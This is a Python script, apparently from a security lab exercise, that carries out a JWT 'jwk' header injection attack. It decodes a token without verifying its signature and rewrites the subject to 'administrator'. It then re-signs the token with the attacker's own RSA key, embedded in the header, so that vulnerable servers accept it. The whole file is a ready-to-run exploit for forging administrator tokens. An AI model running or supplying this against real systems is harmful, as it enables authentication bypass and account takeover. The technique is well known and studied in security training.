JwkHeaderInjection.py

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64

token = input("[*] Enter the jwt token: ")


with open('public_key.pem', 'rb') as f:
    publicKey=serialization.load_pem_public_key(f.read(), backend=default_backend())

# Decode the JWT token+header
decoded_token = jwt.decode(token, options={"verify_signature":False})
decoded_header = jwt.get_unverified_header(token)


decoded_token['sub'] = 'administrator'

# sign the modified jwt using our RSA private key
with open('private_key.pem', 'rb') as f:
    privateKey=serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())


# Extract the necessary info from the private key
publicKey = privateKey.public_key()
publicNumbers = publicKey.public_numbers()

# built the jwk header
jwkHeader = {
    "kty": "RSA",
    "e": base64.urlsafe_b64encode(publicNumbers.e.to_bytes((publicNumbers.e.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode(),
    "kid": decoded_header['kid'],
    "n": base64.urlsafe_b64encode(publicNumbers.n.to_bytes((publicNumbers.n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode()
}

# generate the new modified token

modified_token = jwt.encode(decoded_token, privateKey, algorithm='RS256', headers={'jwk': jwkHeader, 'kid': decoded_header['kid']})

print(f"[+] The new jwt modified token: {modified_token}")